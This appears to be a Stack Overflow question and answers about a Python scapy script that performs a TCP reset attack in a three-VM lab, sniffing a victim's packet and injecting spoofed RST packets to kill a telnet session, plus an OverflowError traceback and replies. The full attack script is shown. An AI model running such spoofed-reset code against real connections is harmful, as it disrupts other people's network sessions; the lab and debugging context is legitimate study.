0

I got the following code from here: https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2

I tried to perform the attack using 3 Ubuntu VMs (Ubuntu 16.04.2 LTS ). Here's my code:

#!/usr/bin/python

from scapy.all import *

win=512
tcp_rst_count = 10
victim_ip = "10.0.2.5"
your_iface = "enp0s3"

# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
                    lfilter=lambda x: x.haslayer(TCP)
                    and x[IP].src == victim_ip)

t = t[0]
tcpdata = {
        'src': t[IP].src,
        'dst': t[IP].dst,
        'sport': t[TCP].sport,
        'dport': t[TCP].dport,
        'seq': t[TCP].seq,
        'ack': t[TCP].ack
    }

max_seq = tcpdata['ack'] + tcp_rst_count * win
seqs = range(tcpdata['ack'], max_seq, int(win / 2))
p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
                TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
                                flags="R", window=win, seq=seqs[0])

for seq in seqs:
        p.seq = seq
        send(p, verbose=0, iface=your_iface)
        print('tcp reset attack finish')

The code is run in VM1. I run it and I try to telnet from VM2 to VM3 and as soon as I do that I get the following exception:

Traceback (most recent call last):
  File "./tcp_rst.py", line 26, in <module>
    seqs = range(tcpdata['ack'], max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long

What could be the culprit of this. While doing some research, I haven't seen this exception occur with the range function.

Simon
  • 241
  • 2
  • 13
  • 1
    Your code and error message don't match. What are the values of the arguments? Have you tried debugging it or just printing them? – Useless Feb 20 '21 at 22:17

1 Answers1

0

If you're using Python 3, you don't need the long(win / 2) call. Just replace that with win / 2.

You are likely importing ctypes.c_long as long somewhere

Cukic0d
  • 5,111
  • 2
  • 19
  • 48